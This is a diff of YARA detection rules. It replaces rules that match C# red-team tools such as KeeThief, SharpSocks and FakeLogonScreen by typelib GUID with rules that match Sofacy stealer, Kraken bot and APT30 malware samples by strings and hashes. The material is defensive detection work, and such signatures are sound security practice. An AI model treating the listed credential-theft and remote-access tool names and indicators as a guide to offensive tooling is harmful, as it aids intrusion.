-		$typelibguid0up = "9EE27D63-6AC9-4037-860B-44E91BAE7F0D" ascii wide
+		$s1 = "msdetltemp.dll" fullword ascii
+		$s2 = "msdeltemp.dll" fullword wide
+		$s3 = "Delete Temp Folder Service" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <100KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharprdp : FILE
+rule SIGNATURE_BASE_Sofacy_Collectorstealer_Gen3 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d316ec0b-0313-52bb-923d-512fa08112f9"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/0xthirteen/SharpRDP"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3919-L3933"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c1a51c556c3416095764d3e053d82081409cdd672db05b8680a985ec52bd24b8"
+		description = "File collectors / USB stealers - Generic"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d2ee1a22-6aae-51fc-9043-a7ba99769376"
+		date = "2015-12-04"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_dec15.yar#L118-L143"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+		hash = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
+		logic_hash = "8e7f56013629d8b4d0c7600552590e8073deb16d5b6dced11444c2110b88f387"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "f1df1d0f-ff86-4106-97a8-f95aaf525c54" ascii wide
-		$typelibguid0up = "F1DF1D0F-FF86-4106-97A8-F95AAF525C54" ascii wide
+		$s1 = "NvCpld.dll" fullword ascii
+		$s4 = "NvStart" fullword ascii
+		$s5 = "NvStop" fullword ascii
+		$a1 = "%.4d%.2d%.2d%.2d%.2d%.2d%.2d%.4d" fullword wide
+		$a2 = "IGFSRVC.dll" fullword wide
+		$a3 = "Common User Interface" fullword wide
+		$a4 = "igfsrvc Module" fullword wide
+		$b1 = " Operating System                        " fullword wide
+		$b2 = "Microsoft Corporation                                       " fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <150KB and ( all of ($s*) and ( all of ($a*) or all of ($b*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcall : FILE
+rule SIGNATURE_BASE_Kraken_Bot_Sample : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "172415b6-0383-5da4-a88f-8ebe5daf9294"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/jhalon/SharpCall"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3935-L3949"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7084ac8956827fff5baefb92e117e0c64f13ab8f77cb5d034c31d874a6297047"
-		score = 75
+		description = "Kraken Bot Sample - file inf.bin"
+		author = "Florian Roth (Nextron Systems)"
+		id = "508bb581-9dad-5201-af3d-7da17d905dc9"
+		date = "2015-05-07"
+		modified = "2023-12-05"
+		reference = "https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_kraken_bot1.yar#L8-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "798e9f43fc199269a3ec68980eb4d91eb195436d"
+		logic_hash = "2e0f0a981ce3483aad8e48f6a259f9875ea4f8449feb24bafbae07243dd82a16"
+		score = 90
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "c1b0a923-0f17-4bc8-ba0f-c87aff43e799" ascii wide
-		$typelibguid0up = "C1B0A923-0F17-4BC8-BA0F-C87AFF43E799" ascii wide
+		$s2 = "%s=?getname" fullword ascii
+		$s4 = "&COMPUTER=^" fullword ascii
+		$s5 = "xJWFwcGRhdGElAA=" fullword ascii
+		$s8 = "JVdJTkRJUi" fullword ascii
+		$s20 = "btcplug" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Ysoserial_Net : FILE
+rule SIGNATURE_BASE_APT30_Generic_H : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "80483cd4-76e6-5629-bed7-4ae2e455222c"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/pwntester/ysoserial.net"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3951-L3967"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e423b73cd2dd2374a95ad0a36cd34d8d5b4d1085d708781857ea3893b31b22fb"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1908e985-9634-51dc-8972-53afa13c26a3"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L10-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4affe7dc01efc4d6c25aaae4679bc1f8fddd97794e351d30501eaeb8e1d1dea"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2a4c8752f3e7fde0139421b8d5713b29c720685d"
+		hash2 = "4350e906d590dca5fcc90ed3215467524e0a4e3d"
 
 	strings:
-		$typelibguid0lo = "e1e8c029-f7cd-4bd1-952e-e819b41520f0" ascii wide
-		$typelibguid0up = "E1E8C029-F7CD-4BD1-952E-E819B41520F0" ascii wide
-		$typelibguid1lo = "6b40fde7-14ea-4f57-8b7b-cc2eb4a25e6c" ascii wide
-		$typelibguid1up = "6B40FDE7-14EA-4F57-8B7B-CC2EB4A25E6C" ascii wide
+		$s0 = "\\Temp1020.txt" ascii
+		$s1 = "Xmd.Txe" fullword ascii
+		$s2 = "\\Internet Exp1orer" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Managedinjection : FILE
+rule SIGNATURE_BASE_APT30_Sample_2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c66e7666-b54f-532d-90e1-870292047aec"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/malcomvetter/ManagedInjection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3969-L3987"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "218fe8a52757def3c321668ecaaca3cb0966bad4e151083c08a98276abf71571"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "821a2de9-48c4-58d8-acc4-1e25025ab5cf"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L28-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0359ffbef6a752ee1a54447b26e272f4a5a35167"
+		logic_hash = "e34dbb90fc868b0619d3d2aa1b6176252836a6ae72e6f52b1eba632054f7c272"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "e5182bff-9562-40ff-b864-5a6b30c3b13b" ascii wide
-		$typelibguid0up = "E5182BFF-9562-40FF-B864-5A6B30C3B13B" ascii wide
-		$typelibguid1lo = "fdedde0d-e095-41c9-93fb-c2219ada55b1" ascii wide
-		$typelibguid1up = "FDEDDE0D-E095-41C9-93FB-C2219ADA55B1" ascii wide
-		$typelibguid2lo = "0dd00561-affc-4066-8c48-ce950788c3c8" ascii wide
-		$typelibguid2up = "0DD00561-AFFC-4066-8C48-CE950788C3C8" ascii wide
+		$s0 = "ForZRLnkWordDlg.EXE" fullword wide
+		$s1 = "ForZRLnkWordDlg Microsoft " fullword wide
+		$s9 = "ForZRLnkWordDlg 1.0 " fullword wide
+		$s11 = "ForZRLnkWordDlg" fullword wide
+		$s12 = " (C) 2011" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsocks : FILE
+rule SIGNATURE_BASE_APT30_Sample_3 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "343061d9-e24e-5d49-939f-b94c295b17ac"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/nettitude/SharpSocks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3989-L4005"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ef582f9ba7b49795886c69a48cf9ac11e86fb99c19463f0770f3e9c1e3e2e0c6"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "62e81385-26f5-545d-92ff-6604ff4d0186"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L47-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d0320144e65c9af0052f8dee0419e8deed91b61b"
+		logic_hash = "ee61ec1fdf27fa21bcc235fce0ab8dc74968b39a747648ce828fb4826cf1d234"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "2f43992e-5703-4420-ad0b-17cb7d89c956" ascii wide
-		$typelibguid0up = "2F43992E-5703-4420-AD0B-17CB7D89C956" ascii wide
-		$typelibguid1lo = "86d10a34-c374-4de4-8e12-490e5e65ddff" ascii wide
-		$typelibguid1up = "86D10A34-C374-4DE4-8E12-490E5E65DDFF" ascii wide
+		$s5 = "Software\\Mic" ascii
+		$s6 = "HHOSTR" ascii
+		$s9 = "ThEugh" fullword ascii
+		$s10 = "Moziea/" ascii
+		$s12 = "%s%s(X-" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharp_Wmiexec : FILE
+rule SIGNATURE_BASE_APT30_Generic_C : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ae08a5a2-06d5-55fe-803a-7f4696220904"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/checkymander/Sharp-WMIExec"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4007-L4021"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c5f515ac8db4cca0b29b6d27ad27fa1d4215de48d4827c083f755e88671b87e0"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "25ec8d54-9875-5bf5-abc9-296f18f3c5e5"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L66-L88"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b969565eac3b6f548318aae4edc8d8851f522a6c263bcaf2a466ff0ca9af78a4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8667f635fe089c5e2c666b3fe22eaf3ff8590a69"
+		hash2 = "0c4fcef3b583d0ffffc2b14b9297d3a4"
+		hash3 = "37aee58655f5859e60ece6b249107b87"
+		hash4 = "4154548e1f8e9e7eb39d48a4cd75bcd1"
+		hash5 = "a2e0203e665976a13cdffb4416917250"
+		hash6 = "b4ae0004094b37a40978ef06f311a75e"
+		hash7 = "e39756bc99ee1b05e5ee92a1cdd5faf4"
 
 	strings:
-		$typelibguid0lo = "0a63b0a1-7d1a-4b84-81c3-bbbfe9913029" ascii wide
-		$typelibguid0up = "0A63B0A1-7D1A-4B84-81C3-BBBFE9913029" ascii wide
+		$s0 = "MYUSER32.dll" fullword ascii
+		$s1 = "MYADVAPI32.dll" fullword ascii
+		$s2 = "MYWSOCK32.dll" fullword ascii
+		$s3 = "MYMSVCRT.dll" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Keethief : FILE
+rule SIGNATURE_BASE_APT30_Sample_4 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "71fef0e9-223a-5834-9d1c-f3fb8b66a809"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/GhostPack/KeeThief"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4023-L4046"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "032f0453dc8e235b9326705c619929135cfc71840ab39669ae21c14b93568c75"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5c6afde-0ab5-54ed-8d18-5ad477a527d7"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L90-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "75367d8b506031df5923c2d8d7f1b9f643a123cd"
+		logic_hash = "ec9542acb583bd5812d561bea70e89e0fcddc1eaef14d3ea5b8ad29711ed17ae"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid1lo = "39aa6f93-a1c9-497f-bad2-cc42a61d5710" ascii wide
-		$typelibguid1up = "39AA6F93-A1C9-497F-BAD2-CC42A61D5710" ascii wide
-		$typelibguid3lo = "3fca8012-3bad-41e4-91f4-534aa9a44f96" ascii wide
-		$typelibguid3up = "3FCA8012-3BAD-41E4-91F4-534AA9A44F96" ascii wide
-		$typelibguid4lo = "ea92f1e6-3f34-48f8-8b0a-f2bbc19220ef" ascii wide
-		$typelibguid4up = "EA92F1E6-3F34-48F8-8B0A-F2BBC19220EF" ascii wide
-		$typelibguid5lo = "c23b51c4-2475-4fc6-9b3a-27d0a2b99b0f" ascii wide
-		$typelibguid5up = "C23B51C4-2475-4FC6-9B3A-27D0A2B99B0F" ascii wide
-		$typelibguid7lo = "80ba63a4-7d41-40e9-a722-6dd58b28bf7e" ascii wide
-		$typelibguid7up = "80BA63A4-7D41-40E9-A722-6DD58B28BF7E" ascii wide
+		$s0 = "GetStartupIn" ascii
+		$s1 = "enMutex" ascii
+		$s2 = "tpsvimi" ascii
+		$s3 = "reateProcesy" ascii
+		$s5 = "FreeLibr1y*S" ascii
+		$s6 = "foAModuleHand" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Fakelogonscreen : FILE
+rule SIGNATURE_BASE_APT30_Sample_5 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "cc20290c-3f34-5e81-9337-c582f1ee7ade"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/bitsadmin/fakelogonscreen"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4048-L4062"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4f7f2c075860994b29a211b3cb30fa75b7b6e3ac60a68bbaa9ecf7e4467b4ed0"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bdbebe44-7423-5793-8a42-4f9b70de2231"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L110-L127"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1a2dd2a0555dc746333e7c956c58f7c4cdbabd4b"
+		logic_hash = "3738076d97bf19404bad20c2419eae83dd2b65400d5bd135ffe73362c008de9b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "d35a55bd-3189-498b-b72f-dc798172e505" ascii wide
-		$typelibguid0up = "D35A55BD-3189-498B-B72F-DC798172E505" ascii wide
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
+		$s3 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
+		$s7 = "msmsgs" fullword wide
+		$s10 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Poshsecframework : FILE
+rule SIGNATURE_BASE_APT30_Sample_6 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "a91620f3-3f21-525a-bc87-94d21cd126be"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/PoshSec/PoshSecFramework"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4064-L4080"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e0a35f5fc7a4c4ae8f09c7d4833faf55061984f9a7a920ec4219f04381f2053a"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2f19809c-09fc-51bf-9a20-6b95099a92dd"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L129-L143"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "00e69b059ad6b51b76bc476a115325449d10b4c0"
+		logic_hash = "139719139056f575967629f0153e0a05239bc26f61f6d4324cfb6a816518c3df"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "b1ac6aa0-2f1a-4696-bf4b-0e41cf2f4b6b" ascii wide
-		$typelibguid0up = "B1AC6AA0-2F1A-4696-BF4B-0E41CF2F4B6B" ascii wide
-		$typelibguid1lo = "78bfcfc2-ef1c-4514-bce6-934b251666d2" ascii wide
-		$typelibguid1up = "78BFCFC2-EF1C-4514-BCE6-934B251666D2" ascii wide
+		$s0 = "GreateProcessA" fullword ascii
+		$s1 = "Ternel32.dll" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpattack : FILE
+rule SIGNATURE_BASE_APT30_Sample_7 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1eb911ab-3fb9-54b7-8afb-66328f30d563"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/jaredhaight/SharpAttack"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4082-L4096"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2103b98f188d74c340d6ca71590be32c04cadba893882aebf4e22f5046ae4bc9"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "612732d9-8df5-5388-b299-2da4f8118435"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L145-L163"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "868d1f4c106a08bd2e5af4f23139f0e0cd798fba"
+		logic_hash = "f7922d795bc92714a9ef4861bc9c4ac9921a73749e3aa1d5f7dbc3c991fe7145"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "5f0ceca3-5997-406c-adf5-6c7fbb6cba17" ascii wide
-		$typelibguid0up = "5F0CECA3-5997-406C-ADF5-6C7FBB6CBA17" ascii wide
+		$s0 = "datain" fullword ascii
+		$s3 = "C:\\Prog" ascii
+		$s4 = "$LDDATA$" ascii
+		$s5 = "Maybe a Encrypted Flash" fullword ascii
+		$s6 = "Jean-loup Gailly" ascii
+		$s8 = "deflate 1.1.3 Copyright" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Altman : FILE
+rule SIGNATURE_BASE_APT30_Generic_E : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "21acc8af-9497-5842-90a9-7a9300585d5d"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/keepwn/Altman"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4098-L4146"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5ef32e351094f26bdaa87043b9ff202c25c67e6cd13935c3eb1ab7b4420b867c"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "69e76a59-3529-541d-9017-07e6d67fbda4"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L165-L183"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5ccf1f1334dc300d13aa8dbc080d2d839815d102958fde2b8709c11f522412fd"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1dbb584e19499e26398fb0a7aa2a01b7"
+		hash2 = "572c9cd4388699347c0b2edb7c6f5e25"
+		hash3 = "8ff473bedbcc77df2c49a91167b1abeb"
+		hash4 = "a813eba27b2166620bd75029cc1f04b0"
+		hash5 = "b5546842e08950bc17a438d785b5a019"
 
 	strings:
-		$typelibguid0lo = "64cdcd2b-7356-4079-af78-e22210e66154" ascii wide
-		$typelibguid0up = "64CDCD2B-7356-4079-AF78-E22210E66154" ascii wide
-		$typelibguid1lo = "f1dee29d-ca98-46ea-9d13-93ae1fda96e1" ascii wide
-		$typelibguid1up = "F1DEE29D-CA98-46EA-9D13-93AE1FDA96E1" ascii wide
-		$typelibguid2lo = "33568320-56e8-4abb-83f8-548e8d6adac2" ascii wide
-		$typelibguid2up = "33568320-56E8-4ABB-83F8-548E8D6ADAC2" ascii wide
-		$typelibguid3lo = "470ec930-70a3-4d71-b4ff-860fcb900e85" ascii wide
-		$typelibguid3up = "470EC930-70A3-4D71-B4FF-860FCB900E85" ascii wide
-		$typelibguid4lo = "9514574d-6819-44f2-affa-6158ac1143b3" ascii wide
-		$typelibguid4up = "9514574D-6819-44F2-AFFA-6158AC1143B3" ascii wide
-		$typelibguid5lo = "0f3a9c4f-0b11-4373-a0a6-3a6de814e891" ascii wide
-		$typelibguid5up = "0F3A9C4F-0B11-4373-A0A6-3A6DE814E891" ascii wide
-		$typelibguid6lo = "9624b72e-9702-4d78-995b-164254328151" ascii wide
-		$typelibguid6up = "9624B72E-9702-4D78-995B-164254328151" ascii wide
-		$typelibguid7lo = "faae59a8-55fc-48b1-a9b5-b1759c9c1010" ascii wide
-		$typelibguid7up = "FAAE59A8-55FC-48B1-A9B5-B1759C9C1010" ascii wide
